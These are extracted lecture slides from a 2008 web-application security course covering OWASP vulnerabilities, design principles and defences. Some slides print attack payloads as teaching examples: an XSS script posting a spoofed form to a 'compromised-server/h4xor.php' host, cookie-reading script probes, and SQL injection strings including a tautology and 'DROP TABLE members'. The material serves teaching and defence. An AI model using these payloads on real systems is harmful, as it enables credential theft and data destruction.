May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 11
Objectives
Objectives
•
JSTL Review•
Designing for SecurityMay 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 22
JSTL Review
JSTL Review
•
What is the purpose of JSTL?What is the goal of JSTL? What is JSTL?
•
What are some common tags in the JSTLCore library?
How do they work? What do they do?
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 33
Fixing Our JSTL Problem
Fixing Our JSTL Problem
•
cookie is a HashMap•
Wrong: HashMap.Entry object has no name•
Right:<h1>Cookies:</h1>
<c:forEach items="${cookie}" var="entry"> ${entry.value} - ${entry.value.name} <br /> </c:forEach>
<h1>Cookies:</h1>
<c:forEach items="${cookie}" var="entry"> ${entry} - ${entry.name}<br /> </c:forEach>
Get the Cookie object out of the HashMap.Entry object
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 44
Security
Security
“A few lines of code can wreak more havoc than a bomb.”
-- Tom Ridge
(Former) Secretary of the U.S. Department of Homeland Security
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 55
Web Security
Web Security
•
Why is the Web a target?May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 66
Web Application Architecture
Web Application Architecture
"75% of cyber attacks and Internet security violations are generated through Internet Applications" - Gartner Group
Application Server with Custom Software W eb S er ve r Ex te rn al Fir ew all Corporate DB with Sensitive Customer Data Intranet The big bad
world Internet In te rn al Fir ew all From www.itsa.ufl.edu/2006/presentations/malpani.ppt
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 77
Web Security
Web Security
•
Why is the Web a target?New environment: lots of vulnerabilities •New technologies to exploit
Many different targets
•Web browsers, Web servers, databases, personal computers, network traffic, humans
Efficient, lucrative •Can get a lot done quickly
•Personal info, credit card info, databases •Businesses: could lose millions of dollars/hour
•
What are some Web vulnerabilities?May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 88
In the News
In the News
•
May 22 in Yahoo! News: LiveLock CEO’sidentity stolen
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 99
Potential Infections
Potential Infections
Percentage of top 50 by potential infections
From Symantic Internet Security Threat Report
M al ic io us C od e Ty pe s May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 1010
Potential Infections
Potential Infections
• VirusAttached to a host program
Attack infected computer • Worm
Self-replicated computer program
Attack network, consume bandwidth • Backdoor
Bypass normal authentication • Trojan horse
Perceived “good” program that does bad
Could install backdoor programs
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 1111
OWASP Top 10 Vulnerabilities
OWASP Top 10 Vulnerabilities
Strong server configuration standard is critical to a secure web application. Servers are not secure out of the box and need to be configured for security
Insecure configuration management
Attackers can consume web application resources to a point where legitimate users can no longer access or use the application
Denial of service
Web applications frequently use cryptographic functions to protect information and credentials. If not coded properly, it can result in weak protection
Insecure storage
Error conditions that occur during normal operation are not handled properly and could result in giving detailed system information to a hacker, or crash the server
Improper Error Handling
Web applications pass parameters when they access external systems or the local operation system
Injection Flaws
Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process
Buffer Overflows
The web application can be used as a mechanism to transport an attack to an end user’s browser
Cross-site Scripting (XSS) Flaws
Account credentials and session tokens are not properly protected
Broken Account and Session Mgmt
Restrictions on what authenticated users are allowed to do are not properly enforced
Broken Access Control
Information from web requests is not validated before being used by a web application
Unvalidated Input
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 1212
Security Requirements
Security Requirements
•
AuthenticationVerify the user’s identity
•
AuthorizationGive access to resources only to allowed users
•
ConfidentialityEnsure that information is passed only to allowed users
•
IntegritySecurity Design Principles
Security Design Principles
•
Least Privilege•
Defense in Depth•
Secure Weakest Link•
Fail-safe Stance•
Secure By Default•
Simplicity•
UsabilityPrinciple of Least Privilege
Principle of Least Privilege
•
Give just enough permissions to get the jobdone
Minimize damage if compromised
•
Common world example: Valet KeysCan start the car but can’t access glove compartment, trunk
•
A web server should only be given access tothe set of HTML files that the web server is to serve
If server is compromised, attacker can only read HTML files
Defense
Defense
in Depth
in Depth
•
Also called redundancy / diversity•
Common world example: BanksWhat security does a bank provide so that bad guys won’t steal money?
•
Passwords:Require users to choose “strong” passwords Monitor web server logs for failed login attempts If 3 incorrect password attempts, lock account for
some period of time
Secure the Weakest Link
Secure the Weakest Link
•
Common Weak Links:Unsecured Dial-In Hosts - War Dialers Weak Passwords - Crack
People - Social Engineering Attacks
•“I am owed an inheritance; you can get a cut if you just give me your bank account number…” Buffer Overflows
•Slapper Worm: exploited OpenSSL, Apache to create peer-to-peer networks
•Not a problem in Java •More on this later…
Fail-Safe Stance
Fail-Safe Stance
•
Even if 1 or more components of system fail,there is some security
•
Common world example: ElevatorsIf elevator power fails, grip the cable
•
System failure should be expected(and planned for)
If firewall fails, let no traffic in Deny access by default
Secure By Default
Secure By Default
•
“Hardening” a system: All unnecessaryservices off by default
Only enable the 20% of the products features that are used by 80% of the user population Ex: don’t enable insecure Windows’ networking
apps by default
•If choose to use those apps, know what you’re doing
•
More features enabled more potentialSimplicity
Simplicity
•
Complex software is more likely to havesecurity holes
More code that wasn’t tested thoroughly More opportunities for buffer overflows, etc.
•
Keep security checks localized with chokepoints: centralized piece of code through which control must pass
•
Generally: good rule of thumb to keepsoftware simple
Usability
Usability
•
Users typically do not read documentationEnable security by default
•
Users can be lazyAssume: They ignore security dialogs
•
Secure by default features in software forces users and vendors to be secure•
More on usability in a bit…May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2121
Applying Security
Applying Security
•
Can be applied at multiple levels:Web server (e.g., Apache)
Servlet container (e.g., Tomcat, Resin) Web application
•
Each level offers different amounts ofsecurity and flexibility
Web Server (Apache) Port 80 Servlet Container (Resin or Tomcat) Port 8080 Logic Application servo clients May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2222
Security Application Levels
Security Application Levels
• Web server HTTP authentication Authorization of users/groups Authorization of domains HTTPS: a secure version of HTTP • Servlet containerHTTP authentication (basic, digest)
Form-based authentication
Authorization of users/groups
SSL capabilities • Application
Authorization of users
User information kept on server in a session
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2323
Apache
Apache
’
’
s User-Level HTTP Passwords
s User-Level HTTP Passwords
•
Protect a Web-accessible directory with.htaccess file
Goes into the directory you want to protect Special format
•
Requires users to enter a username,password to access files in the directory
•
Can also create authorized groupsMay 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2424
Discussion of Passwords
Discussion of Passwords
•
What makes a good password?To the software? To a user?
•
How do passwords, their restrictions affectsoftware?
How do they affect those who try to break them?
•
How often should users change theirMay 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2525
Security
Security
vs
vs
. Usability
. Usability
•
Hard to design passwords that are bothsecure and easy to remember
•
If users have to change their password morethan every 6 months, security decreases
Come up with schemes to make passwords easier to remember
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2626
Apache: Access Control
Apache: Access Control
•
Allow or deny requests by their domainSyntax: {allow/deny} from address
•deny from 11.22.33.44
•deny from hostname
•deny from 192.101.205
•deny from exampleone.com exampletwo.com
Every address that matches 192.101.205.xxx
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2727
Secure Socket Layer (SSL)
Secure Socket Layer (SSL)
•
Encrypt every HTTP message to and fromthe web server using standard PKI (public key infrastructure) technology
•
De-facto standard used for secureweb-based transactions
•
Default URL https://some.domain.comwith default port number 443
Application: Careful Exception
Application: Careful Exception
Handling
Handling
•
Effective exception handling is essential indesigning for security from the start
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 2929
Careful Exception Handling
Careful Exception Handling
•
Error messages and observable behaviorcan tip off an attacker to vulnerabilities
Be careful not to provide more information to a user than is needed
•
Exploit vulnerabilities using Fault InjectionProvide an application with input that it does not expect and observe its behavior
Bad guys: Use this to figure out application’s vulnerabilities
•Sever may have fatal exception
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3030
Error Pages
Error Pages
•
What you don’t wantShow the Server’s default exception page Show the stack track
•Looks like your application is broken to user
•
Want error page to look like the rest of yourMay 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3131
JSP Error Pages
JSP Error Pages
• Defining error pages in deployment descriptor (web.xml)
• A JSP Error Page includes
• A JSP page can define its error page
All thrown exceptions go here, regardless of web.xml
<%@ page isErrorPage="true" %>
<%@ page errorPage="errorPage.jsp" %> <error-page>
<exception-type>java.lang.Throwable</exception-type> <location>/error-page.jsp</location>
</error-page>
Can have user-defined exceptions
Can be a path to a servlet
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3232
Common Attacks & Vulnerabilities
Common Attacks & Vulnerabilities
Denial of Service (
Denial of Service (
DoS
DoS
)
)
•
An attacker makes a web serverunavailable
•
Typically, server (or other resource) isflooded with malicious requests
Legitimate requests can’t get through or the response time is too slow to matter
•
VariationsMail bomb: spam attack on mail server DDoS: multiple clients
•Could be willing participants or compromised servers
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3434
Input Validation Vulnerabilities
Input Validation Vulnerabilities
•
Caused by insufficient input validationUsing unvalidated input can cause errors
•
Common attacks: Buffer overflow, Cross sitescripting, SQL injection
From Web Application Security Consortium Data from 2006
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3535
Buffer Overflows
Buffer Overflows
•
An error caused when a program tries tostore too much data in a temporary storage area
Exploited by hackers to execute malicious code
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3636
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
• Cross-site scripting is possible when
An adversary tricks a victim into clicking a link crafted and presented to the victim via a web server or email
The link contains a URL with embedded malicious script (typically as a query string, for example “phishing”)
The URL refers to host that echoes input back to a browser without input validation
• When victim clicks link, goes to the host in the URL Host processes the query string, echoes it to victim's browser
Victim's browser executes the malicious script
• Root Cause: Failure to proactively reject or scrub malicious characters from input vectors
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3737
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
• Allows cookie theft, credential theft, dataconfidentiality, integrity, and availability risks
Browser Hijacking and Unauthorized Access to Web Application is also possible using existing exploits • Unusual vulnerability because the system at fault,
i.e., the web site not validating input, is not the victim of attack
• Remedy for XSS: web site perform adequate input validation
Global policy, Form- and Field- specific policies for handling untrusted content
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3838
Sequence Diagram of a XSS Attack
Sequence Diagram of a XSS Attack
Attacker Victim VulnerableWeb Site
Email with link to web site
Victim navigates to web site Malicious script runs Attacker has access
in victim’s context
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 3939
Unvalidated
Unvalidated
Input with XSS
Input with XSS
From www.itsa.ufl.edu/2006/presentations/malpani.ppt May 26, 2008May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4040
Unvalidated
Unvalidated
Input with XSS
Input with XSS
From www.itsa.ufl.edu/2006/presentations/malpani.ppt
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4141
Unvalidated
Unvalidated
Input with XSS
Input with XSS
From www.itsa.ufl.edu/2006/presentations/malpani.ppt May 26, 2008May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4242
Unvalidated
Unvalidated
Input with XSS
Input with XSS
Unvalidated
Unvalidated Input resulted in a Cross-SiteInput resulted in a Cross-Site Scripting Attack and theft of Administrator Scripting Attack and theft of Administrator’’ss Cookie
Cookie
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4343
Cross-Site Scripting: Content
Cross-Site Scripting: Content
Spoofing
Spoofing
•
Insert un-trusted content into the webapplication that can be used to trick users
•
Compromise the integrity of application codevia malicious script code injected into the database
•
Limited only by the attackers’ imaginationFrom www.itsa.ufl.edu/2006/presentations/malpani.ppt May 26, 2008May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4444
Cross-Site Scripting Exploit
Cross-Site Scripting Exploit
<script> var oWH =window.open("","","width=275, height=175, top=200, left=250 location=no, menubar=no, status=no, toolbar=no, scrollbars=no, resizable=no");oWH.document.write(“ HTML FORM with POST request to http://compromised-server/h4xor.php ”); </script>
From www.itsa.ufl.edu/2006/presentations/malpani.ppt
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4545
XSS: Content Spoofing
XSS: Content Spoofing
From www.itsa.ufl.edu/2006/presentations/malpani.ppt May 26, 2008May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4646
Stored XSS
Stored XSS
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4747
Testing for XSS
Testing for XSS
• Test for valid HTML and script code allowed in an input field
Special characters like < or >
<script>alert(“XSS”);<script>
<script>alert(document.cookie);<script>
article.php?title=<meta%20http-equiv="refresh"%20content="0;">
•Causes denial of service
• References:
http://ha.ckers.org/xss.html
http://www.owasp.org/index.php/Testing_for _Cross_site_scripting
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4848
SQL Injection
SQL Injection
•
Possible vulnerability when a programaccepts unvalidated input from a user and uses that input to construct a dynamic SQL query to an SQL database
Client may construct crafted input that, when embedded in a string, is interpreted as an SQL query
Performs database operations not intended by application writers
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 4949
SQL Injection
SQL Injection
•
Possible vulnerability when a programaccepts unvalidated input from a user and uses that input to construct a dynamic SQL query to an SQL database
Client may construct crafted input that, when embedded in a string, is interpreted as an SQL query
Performs database operations not intended by application writers
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5050
SQL Injection
SQL Injection
• Root Cause: Failure to properly scrub, reject, or escape domain-specific SQL characters from an input vector
• Solution:
Define accepted character-sets for input vectors, and enforce these white lists rigorously.
Force input to conform to specific patterns when other special characters are needed: dd-mm-yyyy
Use SQL Prepared Statements
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5151
SQL Injection
SQL Injection
•
Typical query to email forgotten password:•
Is the input sanitized? Try [email protected]’If not, the query will throw exception
SELECT fieldlist FROM table
WHERE field = ‘$EMAIL’;
SELECT fieldlist FROM table
WHERE field = ‘sprenkles@wlu’’;
Extra quote
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5252
SQL Injection
SQL Injection
•
How to exploit:•
Query expected to only return one entryThis one will return all entries in user table Probably only displays the first response
•
Can start to guess columns in table andtable’s name
SELECT fieldlist FROM table
WHERE field = ‘anything' OR 'x'='x'; Always true
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5353
SQL Injection
SQL Injection
•
Suppress the last quote:Don’t need to worry about matching quotes
•
Is database read-only?SELECT email, passwd, login_id, full_name FROM members
WHERE email = ’x' AND members.email IS NULL; --';
SQL Comment
SELECT email, passwd, login_id, full_name FROM members
WHERE email = ’x'; DROP TABLE members; --';
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5454
Example: SQL Tautology Injection
Example: SQL Tautology Injection
Submitting SQL Query logic instead of a valid date can expose confidential records.
.
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5555
Example: SQL Tautology Injection
Example: SQL Tautology Injection
Submitting SQL Query logic instead of a valid date can expose confidential records.
.
From www.itsa.ufl.edu/2006/presentations/malpani.ppt May 26, 2008May 26, 2008 Sprenkle - CS297Sprenkle - CS297 5656
Validating Input
Validating Input
•
Black list: a list of input types that are expressly forbidden from being used as application input•
White list: a list of input types that are expressly allowed from being used as application input•
Generally expressed as regularexpressions
•
Input validation must be server sideNot in JavaScript
Security Features Do Not Imply
Security Features Do Not Imply
Security
Security
•
Using one or more securityalgorithms/protocols will not solve all your
problems!
Using encryption doesn’t protect against weak passwords.
Using SSL in a Web server doesn’t protect against DoS attacks, access to various files, etc.
Security Features Do Not Imply
Security Features Do Not Imply
Security
Security
•
Security features may be able to protectagainst specific threats
•
If the software has bugs, is unreliable, ordoes not cover all possible corner cases:
The system may not be secure despite the
security features it has
“
“
Good Enough
Good Enough
”
”
Security
Security
•
The fraction of time you spend designing forsecurity in your application should be proportional to the number and types of threats that your software and business face
•
Remember: Customers expect privacy andsecurity
•
Design for security by incorporating “hooks” and other low-effort functionality from the beginningAdd more security as needed without having to resort to work-arounds.
Don
Don
’
’
t Reinvent the Wheel
t Reinvent the Wheel
•
Building a secure, high-performanceweb server is a very challenging task
Apache: www.apache.org
•
Use trusted componentsMay 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 6161
Where Are Our Security
Where Are Our Security
Vulnerabilities?
Vulnerabilities?
May 26, 2008
May 26, 2008 Sprenkle - CS297Sprenkle - CS297 6262
TODO
TODO
•
ProjectFinal implementation deadline: Fri Documentation: Monday